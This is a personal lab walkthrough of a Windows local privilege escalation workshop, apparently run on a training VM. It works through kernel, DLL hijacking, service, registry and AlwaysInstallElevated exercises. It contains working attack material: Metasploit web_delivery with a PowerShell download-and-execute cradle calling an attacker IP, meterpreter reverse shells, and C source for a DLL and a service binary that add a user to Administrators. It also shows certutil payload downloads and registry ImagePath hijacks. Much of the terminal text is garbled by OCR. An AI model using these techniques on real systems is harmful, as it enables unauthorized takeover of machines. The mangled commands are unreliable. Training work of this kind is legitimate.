Windows Local Privilege Escalation

Source: https://github.com/sagishahar/lpeworkshop

- 6. Read carefully the output of the script
- 7. Restart the Windows VM
- 8. Copy the Tools 7z archive to the Desktop and extract it
- 9. Setup is now complete, enjoy

The script was developed and tested on a Windows 7 (SP1) x64 Build 7601 English-US host. It might work on other OS instances, but it is not guaranteed. Pay attention to the script's output. Some exercises are skipped (e.g. Kernel, etc.) as it depends on the patchlevel of the VM.

While preparation the VM, batch file gives me some output.



My windows 7 version Details.

This VM details same as above windows version mentioned in his git hub

```
~ -=- -= |
~ DACL |
... | SO
C:\Windows\System32\cmd.exe
                                                                                                                                                               TASKS
                                             --|===|Re|---|
|XX|DLL|gi|===|
| | |st|===|
hjw
           Local Privilege Escalation Workshop - Windows Installer
Sagi Shahar (@s4gi_)
[i] Skipping configuration of Exercise 1 - Kernel

[*] Configuring Exercise 2 - Services (DLL Hijacking)
[*] Writing dllhijackservice.exe to drive..
[*] Calculating MD5 hash of dllhijackservice.exe..
[*] Confirming hash.. (fa 6e 05 03 21 f4 33 af 0e 48 6a cf 88 ee fe 32)


[*] Hash confirmed.
[x] Moving file to C:\Program Files\DLL Hijack Service\
[x] Resetting permissions..
[x] Creating dllsuc service..
[x] Setting service permissions..
[x] Starting service..
[x] Exercise 2 configuration complete.
[*| Configuring Exercise 3 - Services (binPath)
[*| Writing daclservice.exe to drive..
[*| Calculating MD5 hash of daclservice.exe..
[*| Confirming hash.. (d6 2c fe 23 ad 44 ae 27 95 4d 9b 05 42 96 f2 c3)
[*] Hash confirmed.
[*] Moving file to C:\Program Files\DACL Service\
[*] Resetting permissions..
[*] Creating daclsuc service..
[*] Setting service permissions..
[*] Starting service..
[*] Exercise 3 configuration complete.

[*] Configuring Exercise 4 - Services (Unquoted Path)
[*] Writing unquotedpathservice.exe to drive..
[*] Calculating MD5 hash of unquotedpathservice.exe..
[*] Confirming hash.. (d6 2c fe 23 ad 44 ae 27 95 4d 9b 05 42 96 f2 c3)

Exercise 4 configuration complete.

[*] Configuring Exercise 5 - Services (Registry)
[*] Writing insecureregistryservice.exe to drive..
[*] Calculating MD5 hash of insecureregistryservice.exe..
[*] Configured MD5 hash.. (d6 2c fe 23 ad 44 ae 27 95 4d 9b 05 42 96 f2 c3)

[*] Moving file to C:\Program Files\Insecure Registry Service\
[*] Resetting permissions..
```



Exercise 1 – Kernel

For this exercise we must do null pointer (MS14-058) kernel exploit, use sherlock.ps1 for find the vulnerabilities. And I search that vulnerability using "searchsploit"

```
C:\Users\user\Desktop\Tools\Sherlock>powershell -nop -ep bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
    C:\Users\user\Desktop\Tools\Sherlock\> Import-Module .\Sherlock.ps1
C:\Users\user\Desktop\Tools\Sherlock\> find-allvulns
                              Mode to Ring (KiTrap0D)
                      MS10-015
2010-0232
https://www.exploit-db.com/exploits/11199/
Not supported on 64-bit systems
    Bulletin
 ulnStatus
                      Task Scheduler .XML
MS10-092
2010-3338, 2010-3888
   Bulletin
CVEID
                      https://www.exploit-db.com/exploits/19930/
Not Vulnerable
 ink
 /ulnStatus
                      NTUserMessageCall Win32k Kernel Pool Overflow
  itle
Bulletin
                      MS13-053
2013-1300
CVEID
                      https://www.exploit-db.com/exploits/33213/
Not supported on 64-bit systems
 ulnStatus
                      TrackPopupMenuEx Win32k NULL Page MS13-081
2013-3881
     ulletin
                      https://www.exploit-db.com/exploits/31576/
Not supported on 64-bit systems
   InStatus
                      TrackPopupMenu Win32k Null Pointer Dereference
MS14-058
2014-4113
https://www.exploit-db.com/exploits/35101/
Appears Vulnerable
   tle
Bulletin
 ulnStatus
```

That module required Metasploit framework

```
oot@kali:~# searchsploit ms14-058
Exploit Title
                                                                                                        | Path
Microsoft Windows - TrackPopupMenu Win32k Null Pointer Dereference (MS14-058) (M
Microsoft Windows 8.0/8.1 (x64) - 'TrackPopupMenu' Local Privilege Escalation (M
Microsoft Windows 8.1/ Server 2012 - 'Win32k.sys' Local Privilege Escalation (MS
                                                                                                         windows/local/35101.rb
                                                                                                         windows x86-64/local/37064.py
                                                                                                         windows/local/46945.cpp
icrosoft Windows Kernel - 'win32k.sys' Local Privilege Escalation (MS1
                                                                                                         windows/local/39666.txt
Shellcodes: No Results
root@kali:~# searchsploit -p windows/local/35101.rb
 Exploit: Microsoft Windows - TrackPopupMenu Win32k Null Pointer Dereference (MS14-058) (Metasploit)
      URL: https://www.exploit-db.com/exploits/35101
     Path: /usr/share/exploitdb/exploits/windows/local/35101.rb
File Type: Ruby script, ASCII text, with CRLF line terminators
root@kali:~# cat /usr/share/exploitdb/exploits/windows/local/35101.rb
 This module requires Metasploit: http://metasploit.com/download
 Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core'
require 'msf/core/post/windows/reflective dll injection'
equire 'rex'
```

```
search ms14-058
[!] Module database cache not built yet, using slow search
Matching Modules
                                                   Disclosure Date Rank
  Name
                                                                            Description
  exploit/windows/local/ms14 058 track popup menu 2014-10-14
                                                                    normal Windows TrackPopupMenu Win32k NULL Pointer Dereference
sf > use exploit/windows/local/ms14 058 track popup menu
nsf exploit(ms14_058_track_popup_menu) > options
Module options (exploit/windows/local/ms14_058_track_popup_menu):
  Name
           Current Setting Required Description
                                      The session to run this module on.
Exploit target:
  Id Name
      Windows x86
```

So, this module need session do the exploit. only option is PowerShell, It help to interact with the victim machine.

```
<u>nsf</u> exploit(ms14_058_track_popup_men
nsf exploit(web_delivery) >coptions
                                          u) > use exploit/multi/script/web_delivery
Module options (exploit/multi/script/web_delivery):
  Name
             Current Setting Required Description
   SRVHOST
                                              The local host to listen on. This must be an address on the local machine or 0.0.0.0
             0.0.0.0
                                             The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly generated)
   SRVPORT
             8080
             false
  URIPATH
                                              The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp):
           Current Setting Required Description
  Name
  LHOST
                                           The listen address
  LPORT
           4444
                                           The listen port
Exploit target:
   Id Name
       Python
nsf exploit(web_delivery) > set lhost 192.168.48.177
lhost => 192.168.48.177
sf exploit(web_delivery) > show targets
```

```
/) > set payload windows/meterpreter/reverse tcp
ayload => windows/meterpreter/reverse tcp
nsf exploit(web_delivery) >
nsf exploit(web_delivery) > show options
lodule options (exploit/multi/script/web delivery):
            Current Setting Required Description
  SRVHOST
                                            The local host to listen on. This must be an address on the local machine or 0.0.0.0
                                           The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly generated)
  SRVPORT
            8080
  SSLCert
  URIPATH
                                            The URI to use for this exploit (default is random)
ayload options (windows/meterpreter/reverse tcp):
  Name
             Current Setting Required Description
  EXITFUNC
                                             Exit technique (Accepted: '', seh, thread, process, none)
             process
  LH0ST
LP0RT
              192.168.48.177
                                 yes
                                             The listen address
             4444
                                            The listen port
Exploit target:
  Id Name
      PSH
```

```
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.48.177:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/EAiAgQWi
[*] Local IP: http://192.168.48.177:8080/EAiAgQWi
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]
::DefaultCredentials;IEX $M.downloadstring('http://192.168.48.177:8080/EAiAgQWi');
```

After that powershell code copy to windows 7 vm it automatically hide the cmd and connect back to the attacker machine.

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\user>powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemW$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.48.177:8080);__
```

The Windows VM is x64 therefore it is required to migrate to an x64 process, use windows explore to migrate it, that session use to "ms14_058_track_popup_menu", because that want session id and target Id. I create another session for get back reverse shell from windows 7 machine.

```
192.168.48.1/5 web_delivery - Delivering Payload
Sending stage (957487 bytes) to 192.168.48.175
Meterpreter session 1 opened (192.168.48.177:4444 -> 192.168.48.175:49160) at 2020-08-09 20:08:25 +0530
<u>msf</u> exploit(<mark>web_delivery</mark>) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > run migrate -n explorer.exe
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]
[*] Current server process: powershell.exe (300)
[+] Migrating to 2020
[+] Migrating to 2020
[+] Successfully migrated to process
 <u>meterpreter</u> > background
[*] Backgrounding session 1...
msf exploit(web_delivery) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set target 1
msf exploit(ms14 058 track popup menu) > set session 1
msf exploit(ms14 058 track popup menu) > set payload generic/shell reverse tcp
payload => generic/shell reverse tcp

msf exploit(ms14_058_track_popup_menu) > set lhost 192.168.48.177

lhost => 192.168.48.177

msf exploit(ms14_058_track_popup_menu) > set lport 4455

lport => 4455
msf exploit(ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.48.177:4455
[*] Launching notepad to host the exploit...
[+] Process 2620 launched.
     Reflectively injecting the exploit DLL into 2620...
Injecting exploit into 2620...
Exploit injected. Injecting payload into 2620...
Payload injected. Executing exploit...
 *] Launching notepad to host the exploit...
+] Process 2620 launched. Terminal Help
 *] Reflectively injecting the exploit DLL into 2620...
[*] Injecting exploit into 2620...
[*] Injecting exploit into 2620...
[*] Exploit injected. Injecting payload into 2620...
[*] Payload injected. Executing exploit...
[*] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (192.168.48.177:4455 -> 192.168.48.175:49161) at 2020-08-09 20:12:30 +0530
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
 :\Windows\system32>whoami<sub>ACK,RUNNING></sub> mtu 65530
whoami
 nt authority\system
 :\Windows\system32>net localgroup administrators user /add
net localgroup administrators user /add
The command completed successfully.
 :\Windows\system32> net localgroup administrators
 net localgroup administrators
Alias name administrators
Comment
                      Administrators have complete and unrestricted access to the computer/domain
 dembers
Administrator
pentest
The command completed successfully.
```

Exercise 2 – Services (DLL Hijacking)

```
Command Prompt
                                                                                                                                                                                                                                                                    C:\Users\user>whoami
pentest-priv\user
C:\Users\user>whoami /priv
PRIVILEGES INFORMATION
Description
                                                                                                                                                                     State
                                                                         Shut down the system Disabled Bypass traverse checking Enabled Remove computer from docking station Disabled Increase a process working set Disabled Change the time zone Disabled
C:\Users\user>whoami /groups
GROUP INFORMATION
Group Name
                                                                                                                                                                          Attributes
                                                                                               Mandatory group,
 Enabled by default,
                                                                                                                                                                                                                                                                      Enable
Enable
Enable
Enable
Enable
Enable
Enable
 Well-known group
AUILTIN-Users
NT AUTHORITY-INTERACTIVE
CONSOLE LOGON
NT AUTHORITY-Authenticated Users
NT AUTHORITY-This Organization
LOCAL
NT AUTHORITY-NTLM Authentication
Well-known group
C:\Users\user>net users
User accounts for \\PENTEST-PRIV
                                                             Guest
 \dministrator
                                                                                                                           pentest
  he command completed successfully.
```

privileges for logged user

```
C:\Users\user>net users
Jser accounts for NPENTEST-PRIV
Administrator
                                             Guest
                                                                                           pentest
user
The command completed successfully.
C:\Users\user>net user user
User name
Full Name
                                                    user
Comment
User's comment
Country code
Account active
Account expires
                                                    000 (System Default)
                                                    Yes
Never
Password last set
Password expires
Password changeable
Password required
User may change password
                                                    8/1/2020 2:18:11 PM
9/12/2020 2:18:11 PM
8/1/2020 2:18:11 PM
Yes
Yes
dorkstations allowed
                                                    A11
Logon script
User profile
Home directory
Last logon
                                                    8/1/2020 2:31:29 PM
ogon hours allowed
                                                    A11
ocal Group Memberships *Users
Global Group memberships *None
The command completed successfully.
                                                    *Users
```

Bellow command to check all vulnerabilities.

powershell -nop -exec bypass IEX (New-Object

Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp.ps1'); Invoke-AllChecks

```
C:\Users\user\powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserm/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks

[*] Running Invoke-AllChecks


[*] Checking %PATH% for potentially hijackable .dll locations...


HijackablePath : C:\Temp\
AbuseFunction : Write-HijackDll -OutputFile 'C:\Temp\\wlbsctrl.dll' -Command '...'
```

So, we can see the Hijack path = "C:\Temp\" we can run malicious dll in that location

Search the service called dllsvc , because in bat file create new service called dllsvc

Check the process called "dllhijackservice.exe" using "procmon"





dllhijackservice.exe	948 ■ CreateFile	C:\Program Files\DLL Hijack Service\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\System32\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\system\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\System32\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\System32\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\System32\wbem\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Windows\System32\WindowsPowerShell\v1.0\hijackme.dll	NAME NOT.
dllhijackservice.exe	948 ■ CreateFile	C:\Temp\hijackme.dll	NAME NOT.

I create the dll file in after running that service dll run "cmd.exe /k net localgroup administrator user /add" it means user add to the administrator group after editing that script that dll must save "hijackme.dll"

```
File Edit View Search Terminal Help

GNU nano 4.9.3 windows dll.c

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>


BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {

if (dwReason == DLL_PROCESS_ATTACH) {

    system("cmd.exe /k net localgroup administrator user /add");

    ExitProcess(0);
}

return TRUE;
}
```



After copying to windows vm stop the dllsvc and again start that service

```
C:\Temp>sc start dllsvc
SERVICE_NAME: dllsvc
                                                             WIN32_OWN_PROCESS
START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
               STATE
::\Temp>net user user
User name
Full Name
                                                        user
Comment
User's comment
Country code
Account active
Account expires
                                                        000 (System Default)
                                                        Yes
Never
Password last set
Password expires
Password changeable
Password required
User may change password
                                                        8/1/2020 2:18:11 PM
9/12/2020 2:18:11 PM
8/1/2020 2:18:11 PM
Yes
                                                        A11
Workstations allowed
Logon script
User profile
Home directory
Last logon
                                                        8/2/2020 2:35:47 AM
ogon hours allowed
                                                        A11
 ocal Group Memberships *Administrators ilobal Group memberships *None he command completed successfully.
                                                                                                   *Users
```

So now he in Administrators group

Exercise 3 – Services (binPath)

I used powerup and it give below result

```
[*] Checking service permissions...

ServiceName : daclsvc
Path : "C:\Program Files\DACL Service\daclservice.exe"
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'daclsvc'
```

After running the "net user user "command he still in user group. Here is the "accesschk64" command details: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

```
Logon hours allowed

Local Group Memberships *Users Global Group memberships *None The command completed successfully.

C:\Users\user\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc

Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

daclsvc

Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW Everyone
SERVICE_QUERY_STATUS
SERVICE_CHANGE_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_START
```

All user has "SERVICE CHANGE CONFIG" permission. It means user can reconfigure the services binary

```
C:\Users\user\Desktop\Tools\Accesschk>sc config daclsvc binpath= "net localgroup administrators user /add" [SC] ChangeServiceConfig SUCCESS

C:\Users\user\Desktop\Tools\Accesschk>sc start dacsvc
[SC] StartService: OpenService FAILED 1060:

The specified service does not exist as an installed service.
```

```
Logon hours allowed All

Local Group Memberships **Administrators **Users
Global Group memberships **None
The command completed successfully.
```

Exercise 4 – Services (Unquoted Path)

Powerup script details.

```
[*] Checking for unquoted service paths...
                                  unquotedsvc
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
LocalSystem
ServiceName
Path
StartName
                                   Write-ServiceBinary -ServiceName 'unquotedsvc' -Path (HijackPath)
AbuseFunction :
 ::\Users\user>sc qc unquotedsvc
SCI QueryServiceConfig SUCCESS
SERVICE_NAME: unquotedsvc
                                                                WIN32_OWN_PROCESS
DEMAND_START
NORMAL_
                     RORTCONTROL
NARY_PATH_NAME
ND_ORDER_GROUP
                                                         C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
                DÏŠPLAY_NAME
                                                        <u>Unquoted</u> Path Service
                DEPENDENCIES :
SERVICE_START_NAME :
                                                        LocalSystem
 :\Users\user\icacls "C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe"
:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
                                                                                                           Service\Common Files"
NI SERVICE\TrustedInstaller:(I)(F)
NI SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NI AUTHORITY\SYSTEM:(I)(F)
NI AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
  :\Users\user>icacls "C:\Program Files\Unquoted Path
:\Program Files\Unquoted Path Service\Common Files
Successfully processed 1 files; Failed processing 0 files
                                                                                         Unquoted Path Service"

BUILTIN\Users:(F)

NT SERVICE\TrustedInstaller:(I)(F)

NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)

NT AUTHORITY\SYSTEM:(I)(F)

NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)

BUILTIN\Administrators:(I)(F)


BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)

BUILTIN\Users:(I)(RX)

BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)

CREATOR OWNER:(I)(OI)(CI)(IO)(F)
  :\Users\user\icacls "C:\Program Files
:\Program Files\Unquoted Path Service
Successfully processed 1 files; Failed processing 0 files
```

Only this path can do anything with "user". after I create payload to add the user to administrator group



```
::\Users\user>sc start unquotedsvc
                                                             WIN32_OWN_PROCESS
START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
(ØxØ)
(ØxØ)
SERVICE_NAME: unquotedsvc
               STATE
               WIN32_EXIT_CODE
SERVICE_EXIT_CODE
CHECKPOINT
WAIT_HINT
PID_
               FLÄGS
C:\Users\user>net user user
 ser name
ull Name
                                                        user
Comment
User's comment
Country code
Account active
Account expires
                                                         000 (System Default)
                                                        Yes
Never
                                                        8/1/2020 2:18:11 PM
9/12/2020 2:18:11 PM
8/1/2020 2:18:11 PM
Password last set
Password expires
Password changeable
Password required
User may change password
                                                         Yes
                                                        A11
Workstations allowed
Logon script
User profile
Home directory
Last logon
                                                        8/1/2020 2:31:29 PM
Logon hours allowed
                                                         A11
Local Group Memberships *Admin
Global Group memberships *None
The command completed successfully:
                                                                                                    *Users
                                                         *Administrators
```

Exercise 5 – Services (Registry)

The "HKLM\SYSTEM\CurrentControlSet\Control "registry tree contains information for controlling system startup and some aspects of device configuration.¹

```
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user> Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\services\regsvc | fl
            Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\regsvc
Path
Owner
Group
Access
           NT AUTHORITY INTERACTIVE Allow FullControl
NT AUTHORITY SYSTEM Allow FullControl
BUILTIN Administrators Allow FullControl
            O:BAG:SYD:P(A;CI;KR;;;WD)(A;CI;KA;;;IU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)
PS C:\Users\user> whoami /groups
GROUP INFORMATION
                                                                          SID
Group Name
                                                                                            Attributes
                                                                                                                  Enabled
Enabled
Enabled
                                                    Well-known group
                                                                                            Mandatory
                                                                                                                                 def au.
                                                                                                         group,
                                                                                   32-545
                                                                                             (andatory
                                                                                                         group,
                                                                                                                                 defau
                 INTERACTIVE
                                                          -known group
                                                                                             landatory
                                                                                                         group,
                                                                                                                             by
                                                                                                                                 def au
   AUTHORITY\INTERACTIVE
ISOLE LOGON
AUTHORITY\Authenticated Users
AUTHORITY\This Organization
                                                                                                                   Enabled
                                                         -known group
                                                                                             landatory
                                                                                                         group,
                                                                                                                             bу
                                                                                                                                 def au
                                                                                                                                def au
def au
                                                         -known
                                                                  group
                                                                                             andatory
                                                                                                         group,
                                                                                                                        led
                                                                                                                             bу
                                                                                                         group,
                                                                                                                   Enabled
                                                        l-known group
                                                                                                                             bу
                                                                                             landatory
                                                                                                                  Enabled
                                                        l-known group
                                                                                                         group,
                                                                                                                                 defau
                                                                                             ʻlandatory
                                                                                                                             þу
    AUTHORITY\NTLM Authentication datory Label\Medium Mandatory
                                                    Well-known group
                                                                                             landatory
                                                                                                         group,
                                                                                                                   Enab.
                                                                                                                         led
                                                                                                                             bу
                                                                                                                                 defau
                                           Level
                                                   Label
                                                                                                                         led
                                                                                                                                 def au
                                                                                                         group.
```

So, in that case user have privilege to change the HKLM registry. So, we can create malicious executable file and add to the registry and after adding it auto magically get the privileges.

¹ https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-control-registry-tree

```
GNU nano 4.9.3
                                                                 windows service.c
#include <windows.h>
#include <stdio.h>
#define SLEEP TIME 5000
  RVICE STATUS ServiceStatus;
SERVICE STATUS HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
//add the payload here
int Run()
    system("cmd /k net localgroup administrators user /add");
    return 0;
int main()
   [cyber1337s@parrot]-[~/sagi-shahar/Tools/Source]
     $x86 64-w64-mingw32-gcc windows service.c -o cyber.exe
  [cyber1337s@parrot]—[~/sagi-shahar/Tools/Source]
     $python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.48.175 - - [02/Aug/2020 23:21:15] "GET /cyber.exe HTTP/1.1" 200
192.168.48.175 - - [02/Aug/2020 23:27:23] "GET /cvber.exe HTTP/1.1" 200
 Computer ► Local Disk (C:) ► Temp
                                                  ▼ 👣 Search Temp
                                                                 ■ • □ ②
  Organize 🕶
          Include in library ▼ Share with ▼ New folder
                                        Date modified
                                                  Type
   * Favorites
   Desktop
                cyber cyber
                                        8/2/2020 11:27 PM Application
                                                                313 KB
C:\Windows\Svstem32\cmd.exe
   NTemp>certutil -urlcache -f http://192.168.48.130:8080/cyber.exe cyber.exe
  ertUtil: -URLCache command completed successfully.
```

p> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Temp\cyber.exe /f tion completed successfully. p>

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Temp\cyber.exe /f \rightarrow we changed the PATH of the "regsvc" service by the below image.

```
PS C:\Temp> net user
                                      user
User name
Full Name
                                                    user
Comment
User's comment
Country code
Account active
                                                    000 (System Default)
                                                     Yes
Account expires
                                                    Never
                                                    8/1/2020 2:18:11 F
9/12/2020 2:18:11
8/1/2020 2:18:11 F
Yes
Password
Password
               last set
               expires
changeable
required
Password
Password
User may change password
                                                     Yes
Workstations allowed
                                                     A11
Logon script
User profile
Home directory
Last logon
                                                    8/2/2020 11:19:52 PM
Logon hours allowed
                                                     A11
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
```

```
10 WIN32_OWN_PROCESS
2 START_PENDING
    (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
0    (0x0)
0    (0x0)
0x0
0x7d0
1736
PS C:\Temp> sc.exe start regsvc
SERVICE_NAME: regsvc
TYPE
STATE
                WIN32_EXIT_CODE
SERVICE_EXIT_CODE
CHECKPOINT
WAIT_HINT
PID
FLAGS
PS C:∖Temp> net user user
User name
Full Name
                                                            user
Comment
User's comment
Country code
Account active
Account expires
                                                            000 (System Default)
                                                             Yes
                                                            Never
                                                            8/1/2020 2:18:11 PM
9/12/2020 2:18:11 PM
8/1/2020 2:18:11 PM
Yes
Yes
Password last set
Password expires
Password changeable
Password required
User may change password
                                                            A11
Workstations allowed
Logon script
User profile
Home directory
Last logon
                                                            8/2/2020 11:19:52 PM
Logon hours allowed
                                                            All
                                                            *Administrators *Users
Local Group Memberships *Admin
Global Group memberships *None
The command completed successfully.
```

[&]quot;sc.exe is a command-line tool which comes bundled with Windows and offers the functionality to maintain and administer Windows NT services."

Exercise 6 – Services (Executable File)

After running PowerUp we can find some vulnerabilities.

```
[*] Checking service executable and argument permissions...
                                 filepermsvc
"C:\Program Files\File Permissions Service\filepermservice.exe"
C:\Program Files\File Permissions Service\filepermservice.exe
LocalSystem
Install-ServiceBinary -ServiceName 'filepermsvc'
ServiceName
Path

ModifiableFile:
StartName:
AbuseFunction:
 ::\Users\user>sc qc filepermsvc
SC1 QueryServiceConfig SUCCESS
SERVICE_NAME: filepermsvc
             TYPE
START_TYPE
ERROR_CONTROL
BINARY_PATH_NAME
LOAD_ORDER_GROUP
TAG
                                                 10
3
                                                        WIN32_OWN_PROCESS
                                                        DEMAND_START
                                                 "C:\Program Files\File Permissions Service\filepermservice.exe"
             DISPLAY_NAME : File Permiss
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
                                                 File Permissions Service
 C:\Users\user>icacls "C:\Program Files\File Permissions Service\filepermservice.exe"
C:\Program Files\File Permissions Service\filepermservice.exe Everyone:(F)

NI AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)
                                                                                                           BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
```

After write some script to run get the privilege from the machine.

```
[x]-[cyber1337s@parrot]-[~/sagi-shahar/Tools/Source]
    $x86 64-w64-mingw32-gcc windows service.c -o filepermservice.exe
  [cyber1337s@parrot]-[~/sagi-shahar/Tools/Source]
   $\text{$ls} -la
total 348
drwx----- 2 cyber1337s root
                               4096 Aug 6 10:42 .
drwx----- 23 cyber1337s root
                               4096 Apr 16 2018 ...
rw-r--r-- 1 cyber1337s root 15872 Aug 2 04:50 common.exe
rwxr-xr-x 1 cyber1337s root 319766 Aug 6 10:42 filepermservice.exe
rwxr-xr-x 1 cyber1337s root
                               421 Aug 2 02:02 windows dll.c
 rwxr-xr-x 1 cyber1337s root
                               2050 Aug 2 23:15 windows service.c
  [cyber1337s@parrot]—[~/sagi-shahar/Tools/Source]
    $python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
```

Again, start the service

```
C:\Program Files\File Permissions Service>net user user
User name
Full Name
Comment
Jser's comment
                                 000 (System Default)
Country code
                                  Yes
Account active
Account expires
                                 Never
                                 8/1/2020 2:18:11 PM
9/12/2020 2:18:11 PM
8/1/2020 2:18:11 PM
Password last set
 assword expires
 assword changeable
 assword required
                                  Yes
                                  Yes
User may change password
Workstations allowed
                                 A11
Logon script
User profile
Home directory
Last logon
                                 8/6/2020 10:00:25 AM
Logon hours allowed
                                 A11
                                 *Administrators
                                                           *Users
_ocal Group Memberships
Global Group memberships
                                 *None
The command completed successfully.
```

Exercise 7 – Registry (Autorun)

After running PowerUp, bellow result can be found and check the permission that program

After creating that malicious file, must log off session and log back with admin privilege user, in my case "pentest" user have an admin privileges.

```
C:\Users\user\net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members

Administrator
pentest
The command completed successfully.
```

After I start Metasploit console and set listener, and logoff from the windows machine.

After PopUp I logged with "pentest" user



After logging session is created and I change the user privilege success fully.

```
msf5 exploit(multi/handler) > set LHOST 192.168.48.130
LHOST => 192.168.48.130
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.48.130:4444
[*] Sending stage (176195 bytes) to 192.168.48.175
[*] Meterpreter session 1 opened (192.168.48.130:4444 -> 192.168.48.175:49188) at 2020-08-06 13:57:55 +0530


meterpreter > getuid
Server username: Pentest-Priv\pentest
meterpreter > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

Exercise 8 – Registry (AlwaysInstallElevated)

In PowerUP

```
[*] Checking for AlwaysInstallElevated registry key...
OutputFile :
AbuseFunction : Write-UserAddMSI
```

AlwaysInstallElevated is functionality that offers all users (especially the low privileged user) on a windows machine to run any MSI file with elevated (system) privileges. MSI is a Microsoft based installer package file format which is used for installing, storing and removing of a program. In Microsoft article: https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated clearly explain how it work.



We can clearly see registry value is set to 1 so we can run "msi" program without admin privileged.

